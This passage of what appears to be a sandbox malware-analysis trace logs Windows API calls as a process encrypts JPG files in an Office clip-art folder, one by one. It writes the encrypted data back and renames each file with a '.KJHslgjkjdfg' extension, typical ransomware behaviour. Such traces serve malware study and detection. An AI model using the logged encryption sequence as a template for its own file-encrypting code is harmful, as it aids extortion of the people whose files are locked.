pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.417] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.417] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.417] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.417] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.417] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.418] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.418] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.418] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.418] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.418] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.418] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf0c1, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf0c1, lpOverlapped=0x0) returned 1 [0173.419] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf0d0, dwBufLen=0xf0d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf0d0) returned 1 [0173.421] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.421] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf0d0, lpOverlapped=0x0) returned 1 [0173.421] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.421] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf1a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.421] SetEndOfFile (hFile=0x114) returned 1 [0173.424] GetProcessHeap () returned 0x2a0000 [0173.424] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.424] GetProcessHeap () returned 0x2a0000 [0173.424] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.kjhslgjkjdfg")) returned 1 [0173.426] CloseHandle (hObject=0x114) returned 1 [0173.426] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc056, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145272.JPG", cAlternateFileName="")) returned 1 [0173.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.427] GetProcessHeap () returned 0x2a0000 [0173.427] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.427] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.427] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.427] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0173.429] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.429] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.429] GetProcessHeap () returned 0x2a0000 [0173.429] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.429] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.429] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.429] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.430] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.430] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.430] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.430] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.430] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.430] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.430] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc056, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc056, lpOverlapped=0x0) returned 1 [0173.432] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc060, dwBufLen=0xc060 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc060) returned 1 [0173.433] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.433] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc060, lpOverlapped=0x0) returned 1 [0173.433] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.433] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.433] SetEndOfFile (hFile=0x114) returned 1 [0173.436] GetProcessHeap () returned 0x2a0000 [0173.436] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.436] GetProcessHeap () returned 0x2a0000 [0173.436] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.kjhslgjkjdfg")) returned 1 [0173.437] CloseHandle (hObject=0x114) returned 1 [0173.437] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5285, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145361.JPG", cAlternateFileName="")) returned 1 [0173.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.438] GetProcessHeap () returned 0x2a0000 [0173.438] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.438] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.438] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.439] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0173.441] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.441] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.441] GetProcessHeap () returned 0x2a0000 [0173.441] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.441] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.441] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.441] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.442] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.442] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.442] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.442] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.442] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.442] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.442] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5285, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5285, lpOverlapped=0x0) returned 1 [0173.444] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5290, dwBufLen=0x5290 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5290) returned 1 [0173.445] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.445] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5290, lpOverlapped=0x0) returned 1 [0173.445] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.445] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.445] SetEndOfFile (hFile=0x114) returned 1 [0173.448] GetProcessHeap () returned 0x2a0000 [0173.448] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.448] GetProcessHeap () returned 0x2a0000 [0173.448] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.kjhslgjkjdfg")) returned 1 [0173.449] CloseHandle (hObject=0x114) returned 1 [0173.449] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c5e300, ftCreationTime.dwHighDateTime=0x1bdbf70, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c5e300, ftLastWriteTime.dwHighDateTime=0x1bdbf70, nFileSizeHigh=0x0, nFileSizeLow=0x45cb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145373.JPG", cAlternateFileName="")) returned 1 [0173.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.450] GetProcessHeap () returned 0x2a0000 [0173.450] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.450] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.450] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.450] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0173.553] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.553] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.553] GetProcessHeap () returned 0x2a0000 [0173.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.553] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.553] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.553] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.553] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.554] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.554] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.554] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.554] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.554] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.554] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.554] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.554] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x45cb, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x45cb, lpOverlapped=0x0) returned 1 [0173.555] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x45d0, dwBufLen=0x45d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x45d0) returned 1 [0173.555] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.555] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x45d0, lpOverlapped=0x0) returned 1 [0173.556] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.556] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x46a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.556] SetEndOfFile (hFile=0x114) returned 1 [0173.558] GetProcessHeap () returned 0x2a0000 [0173.558] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.558] GetProcessHeap () returned 0x2a0000 [0173.558] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.558] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.kjhslgjkjdfg")) returned 1 [0173.560] CloseHandle (hObject=0x114) returned 1 [0173.560] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a35900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a35900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x7c6a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145669.JPG", cAlternateFileName="")) returned 1 [0173.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.561] GetProcessHeap () returned 0x2a0000 [0173.561] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.561] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.561] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.561] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0173.576] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.576] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.576] GetProcessHeap () returned 0x2a0000 [0173.576] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.576] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.576] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.576] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.576] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.576] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.576] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.577] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.577] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, 